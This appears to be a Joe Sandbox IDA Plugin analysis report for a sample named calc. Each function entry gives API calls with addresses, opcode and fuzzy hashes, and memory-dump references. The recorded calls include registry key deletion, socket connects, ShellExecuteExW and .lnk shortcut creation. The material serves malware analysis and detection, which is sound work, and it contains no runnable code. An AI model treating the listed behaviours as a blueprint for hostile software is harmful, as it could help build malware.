      • Instruction ID: 7cb732dccc17f47e5e950ce36faa7ffa03e08c593cb8184f061ced94b1689c05
      • Opcode Fuzzy Hash: 87d978335de6d63e769d116ec5567d66e3bca6e5e14d1150b9a6aef3f29b13dc
      • Instruction Fuzzy Hash: F72190B2600604FFE7108FA4DD89EAB7BECEB58706F040429F642E6291D675DD40CB60
      Function 0043C147 Relevance: 7.6, APIs: 5, Instructions: 75registryCOMMON
      Download Yara Rule
      APIs
      • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 0043C178
      • RegOpenKeyExW.ADVAPI32(000000FF,?,00000000,00000000,?), ref: 0043C1A5
      • RegCloseKey.ADVAPI32(?), ref: 0043C1BE
      • RegDeleteKeyW.ADVAPI32(000000FF,?), ref: 0043C1D3
      • RegEnumKeyExW.ADVAPI32(000000FF,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 0043C1FA
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Enum$CloseDeleteOpen
      • String ID:
      • API String ID: 2095303065-0
      • Opcode ID: 21ec9ad9b76e8ad65cf264998aa480fb6b0f153335c2455365767b880b5fc71f
      • Instruction ID: 7f2e3d05637b22c96f89e951353aa8dcb6cce75fb7abe0967204a5d51aea3fe2
      • Opcode Fuzzy Hash: 21ec9ad9b76e8ad65cf264998aa480fb6b0f153335c2455365767b880b5fc71f
      • Instruction Fuzzy Hash: 0B2138B290021CBEEF119BD4DC84DEF7BBCEB08344F1044A3E915E2151E2359E88ABB5
      Function 0040CCF8 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
      Download Yara Rule
      APIs
      • DeleteObject.GDI32(?), ref: 0040CD3D
      • ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
      • SelectObject.GDI32(?,00000000), ref: 0040CD94
      • BeginPath.GDI32(?), ref: 0040CDAE
      • SelectObject.GDI32(?,00000000), ref: 0040CDCD
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Object$Select$BeginCreateDeletePath
      • String ID:
      • API String ID: 2338827641-0
      • Opcode ID: a2cbe206f2c3155c35310916aa923ddabcbc7ad77c6c104879e4775da65235ec
      • Instruction ID: 5f1ec3bb34c6c83378939ec44ec0e75b148177ef5afca06314bcc58f4c2b26e1
      • Opcode Fuzzy Hash: a2cbe206f2c3155c35310916aa923ddabcbc7ad77c6c104879e4775da65235ec
      • Instruction Fuzzy Hash: 2C213171500705EFDB249F68D8C45DBBBB9EF54321B508A3AE566A32D0D734A9408B64
      Function 0041553B Relevance: 7.6, APIs: 5, Instructions: 68COMMON
      Download Yara Rule
      APIs
      • GetFileAttributesW.KERNEL32(0041568E,?,?,?,0041568E,?), ref: 00415558
      • GetLastError.KERNEL32(?,?,?,0041568E,?), ref: 00415563
      • CreateDirectoryW.KERNEL32(0041568E,00000000,?,?,?,0041568E,?), ref: 00415577
      • _wcsrchr.LIBCMT ref: 0041558F
      • CreateDirectoryW.KERNEL32(0041568E,00000000,00000000,0041568E,?), ref: 004155C4
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CreateDirectory$AttributesErrorFileLast_wcsrchr
      • String ID:
      • API String ID: 4258345607-0
      • Opcode ID: 176f42ab5fbc2667039750e6cd929b224dd4fd0784e740c7c288cb1e263e08a6
      • Instruction ID: 68b5fae6650556f5f289766cde6e66e8d758d6bde98e903a2f07c94c38581993
      • Opcode Fuzzy Hash: 176f42ab5fbc2667039750e6cd929b224dd4fd0784e740c7c288cb1e263e08a6
      • Instruction Fuzzy Hash: FE010432042F11F9E62127269C42BFF279F9F93364F60001BF805DA1D6EB2C8D82922D
      Function 0042F316 Relevance: 7.6, APIs: 5, Instructions: 66networkCOMMON
      Download Yara Rule
      APIs
      • socket.WS2_32(00000002,00000001,00000006), ref: 0042F363
      • WSAGetLastError.WS2_32(00000000,?,00000000,00000000), ref: 0042F371
      • connect.WS2_32(00000000,?,00000010), ref: 0042F388
      • WSAGetLastError.WS2_32(00000000,?,00000000,00000000), ref: 0042F396
      • closesocket.WS2_32(00000000), ref: 0042F3A5
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorLast$closesocketconnectsocket
      • String ID:
      • API String ID: 2203635173-0
      • Opcode ID: bcc0c9b2420f326353bda6227fe542d88106e93c1212bbe37af0a85f72262368
      • Instruction ID: e9a76509ebc0cdc0cc0ded18a06fd8c0235db7b6e9999a3bcc64bfd8e966fb5a
      • Opcode Fuzzy Hash: bcc0c9b2420f326353bda6227fe542d88106e93c1212bbe37af0a85f72262368
      • Instruction Fuzzy Hash: 5D11E6317001246BDB00FA26DC02AAE6379AF40728FE4417EFC15AB2C2DA28DD47929D
      Function 0040D713 Relevance: 7.6, APIs: 5, Instructions: 56windowCOMMON
      Download Yara Rule
      APIs
      • GetDlgItem.USER32(00000030,?), ref: 0040D722
      • SendMessageW.USER32(00000000,00000087,00000000,00000000), ref: 0040D73E
      • SendMessageW.USER32(?,00000087,00000000,00000000), ref: 0040D75F
      • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040D76D
      • SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 0040D779
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$Item
      • String ID:
      • API String ID: 3888421826-0
      • Opcode ID: 5b60db5229073f6f900d47f214ef1dac36a0b281dc4b7db597711eaa1891977d
      • Instruction ID: d3fe51862c2309d825a2603ef683ba1ebfbd6ccd36099a025a912eeaa0f8b8cd
      • Opcode Fuzzy Hash: 5b60db5229073f6f900d47f214ef1dac36a0b281dc4b7db597711eaa1891977d
      • Instruction Fuzzy Hash: AD01B532A4430ABBE7316AA4DC41F27BB98BF04744F100136BA84776D5E7F5EC154A98
      Function 00415F9F Relevance: 7.6, APIs: 5, Instructions: 54sleepCOMMON
      Download Yara Rule
      APIs
      • QueryPerformanceCounter.KERNEL32(0042018E,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FD1
      • QueryPerformanceFrequency.KERNEL32(00000001,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FDB
      • Sleep.KERNEL32(00000000,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FE3
      • QueryPerformanceCounter.KERNEL32(00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FED
      • Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: PerformanceQuery$CounterSleep$Frequency
      • String ID:
      • API String ID: 2833360925-0
      • Opcode ID: 156a9a50ae8b932824767fb1cc352828150c381100d1d1f072abcc3b451083d3
      • Instruction ID: a0496099f4671258914814ba49d464bf0d8d7d2263f3373baa9b493c5c5e15e0
      • Opcode Fuzzy Hash: 156a9a50ae8b932824767fb1cc352828150c381100d1d1f072abcc3b451083d3
      • Instruction Fuzzy Hash: 20114C31D04A2EEBCF009BA4ED899EDBF78FB48706F01049AE441A2155DF38D5958759
      Function 0041255C Relevance: 7.5, APIs: 5, Instructions: 39COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CursorDestroy
      • String ID:
      • API String ID: 1272848555-0
      • Opcode ID: d5352005860e989090d583af45c09cb90acb3b9687f189d7be541a4d722c1722
      • Instruction ID: 5af252f83c0998234af6a32d05166f9f1353af0f655894e23adab3b1f56daafc
      • Opcode Fuzzy Hash: d5352005860e989090d583af45c09cb90acb3b9687f189d7be541a4d722c1722
      • Instruction Fuzzy Hash: 27011671100B889EC761AF79DC40BCABBE4EF48304F114C2AE59EE21A1E7B56A24CF55
      Function 0040E906 Relevance: 7.5, APIs: 5, Instructions: 39windowtimeCOMMON
      Download Yara Rule
      APIs
      • GetDlgItem.USER32(?,000003E9), ref: 0040E917
      • GetWindowTextW.USER32(00000000,?,00000100), ref: 0040E92E
      • MessageBeep.USER32(00000000), ref: 0040E946
      • KillTimer.USER32(?,0000040A), ref: 0040E966
      • EndDialog.USER32(?,00000001), ref: 0040E981
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: BeepDialogItemKillMessageTextTimerWindow
      • String ID:
      • API String ID: 3741023627-0
      • Opcode ID: 2ac69c56fc93b93703b80b9b75d3b78a5ca045b25a7619f806470178b95d6f54
      • Instruction ID: eefd527a5873faa5c6ba46484e8b71b9a847f1d4d4b8dc00e6c15001e6f527b0
      • Opcode Fuzzy Hash: 2ac69c56fc93b93703b80b9b75d3b78a5ca045b25a7619f806470178b95d6f54
      • Instruction Fuzzy Hash: BB018670500709EBEB215B62ED4DF9677B8BB00706F04056AA282A10E1D7B5E895CB59
      Function 0040D6BD Relevance: 7.5, APIs: 5, Instructions: 37windowCOMMON
      Download Yara Rule
      APIs
      • GetWindow.USER32(00000030,00000005), ref: 0040D6D5
      • SendMessageW.USER32(00000000,00000087,00000000,00000000), ref: 0040D6E9
      • GetWindow.USER32(00000000,00000002), ref: 0040D6F6
      • IsWindow.USER32(00000000), ref: 0040D6FB
      • GetDlgCtrlID.USER32(?), ref: 0040D70C
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$CtrlMessageSend
      • String ID:
      • API String ID: 75316347-0
      • Opcode ID: 0e3289aaeed3d6dad4732093dbf9fab04ae24d55cc092ac6ae943d18526d3546
      • Instruction ID: 64ae80fba0dfbd0f8e7b107c93965b29ce3a89bba25f913328f7fd94f1d7797f
      • Opcode Fuzzy Hash: 0e3289aaeed3d6dad4732093dbf9fab04ae24d55cc092ac6ae943d18526d3546
      • Instruction Fuzzy Hash: 50F0BE31B01715FBEA251BA0DC45FAA7B64FB08382F100132E208A21D1FB35DC208A9D
      Function 0040CC87 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
      Download Yara Rule
      APIs
      • EndPath.GDI32(?), ref: 0040CC99
      • StrokeAndFillPath.GDI32(?,?,0040C5B2,?,?,00000000,00000000,?,?,?,?,00000000,00000001), ref: 0040CCB1
      • StrokePath.GDI32(?), ref: 0040CCBC
      • SelectObject.GDI32(?,00000000), ref: 0040CCD2
      • DeleteObject.GDI32(00000000), ref: 0040CCE3
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Path$ObjectStroke$DeleteFillSelect
      • String ID:
      • API String ID: 2625713937-0
      • Opcode ID: 23c54d3cf4bc0d418e7e8bc42216f99ef4e3a97e6112289699dbe474492b5dfa
      • Instruction ID: faaffeaf7891965e631770e75f3ffb588c3777943424dd606cefa2ef2d9927aa
      • Opcode Fuzzy Hash: 23c54d3cf4bc0d418e7e8bc42216f99ef4e3a97e6112289699dbe474492b5dfa
      • Instruction Fuzzy Hash: 6C018B31004706EBEB214F28D8487D57B71AB40322F108625F96AA61F0CB3999A2CF54
      Function 0040D03A Relevance: 7.5, APIs: 5, Instructions: 30COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Line$Move
      • String ID:
      • API String ID: 3367123170-0
      • Opcode ID: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
      • Instruction ID: b97fa02212309c47107a525ebd6b8e18c6dd5977cae12453f45f519e06501ec8
      • Opcode Fuzzy Hash: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
      • Instruction Fuzzy Hash: DCF09B3640011CBBCF126FA1DC44EEF3F3AEB4AAA1F008419FA1855060C7369521FBA2
      Function 004249D1 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 268comCOMMON
      Download Yara Rule
      APIs
      • CoInitialize.OLE32(00000000), ref: 00424A34
      • CoCreateInstance.COMBASE(0045AE98,00000000,00000001,0045AE88,?), ref: 00424A4B
      • CoUninitialize.COMBASE ref: 00424C9D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CreateInitializeInstanceUninitialize
      • String ID: .lnk
      • API String ID: 948891078-24824748
      • Opcode ID: abe4dc049cf9ea11e79e1e6d9546ddabb46a3fdb4675210c504674f090cd1e24
      • Instruction ID: 247f32ee5b818feb01d68aeef06b919af8635f7b9c9483692209132b4a3e94cc
      • Opcode Fuzzy Hash: abe4dc049cf9ea11e79e1e6d9546ddabb46a3fdb4675210c504674f090cd1e24
      • Instruction Fuzzy Hash: E1A18035A00214EFDF10DF54D885A9EBBB5EF85324F55809AE805AB351C738EE81CF98
      Function 00424CB5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206comCOMMON
      Download Yara Rule
      APIs
      • CoInitialize.OLE32(00000000), ref: 00424D37
      • CoCreateInstance.COMBASE(0045AE98,00000000,00000001,0045AE88,?), ref: 00424D4E
      • CoUninitialize.COMBASE ref: 00424EDC
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CreateInitializeInstanceUninitialize
      • String ID: .lnk
      • API String ID: 948891078-24824748
      • Opcode ID: f05d7367beeb5f65309bbd3b4249ca7ef7fbead5d0f8a486fa669403c51d8ec6
      • Instruction ID: 6601a6f92ded61f3dc518123d982e861e17d97c3953e59de5f2fbdd9491a0982
      • Opcode Fuzzy Hash: f05d7367beeb5f65309bbd3b4249ca7ef7fbead5d0f8a486fa669403c51d8ec6
      • Instruction Fuzzy Hash: CD619E71600218AFDB00EFA4DC85EEE7779EF88354F10454AF505AB291CA78EE81CB94
      Function 0043903B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON
      Download Yara Rule
      APIs
      • ShellExecuteExW.SHELL32(?), ref: 00439188
      • CloseHandle.KERNEL32(00000000,00000001), ref: 00439216
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseExecuteHandleShell
      • String ID: @$open
      • API String ID: 283469938-267353779
      • Opcode ID: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
      • Instruction ID: feda34889901b56425d67917506db13db688c050cc61e307db15a32002fab435
      • Opcode Fuzzy Hash: eabc24713cc0d57b82beee37674fe870f9fd3a7856a74545b4a3a8b12b45cbae
      • Instruction Fuzzy Hash: 7D61CF35800216EBEF14EF96C849A9EB7B4BF08324F14416BE81577251CBB8AD85CBD9
      Function 004137E9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 175windowCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(00000000,000000FF,00000000,0000002C), ref: 004138ED
      • SetMenuItemInfoW.USER32(00000000,000000FF,00000000,0000002C), ref: 0041399F
      • SetMenuDefaultItem.USER32(00000000,000000FF,00000000), ref: 004139BA
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
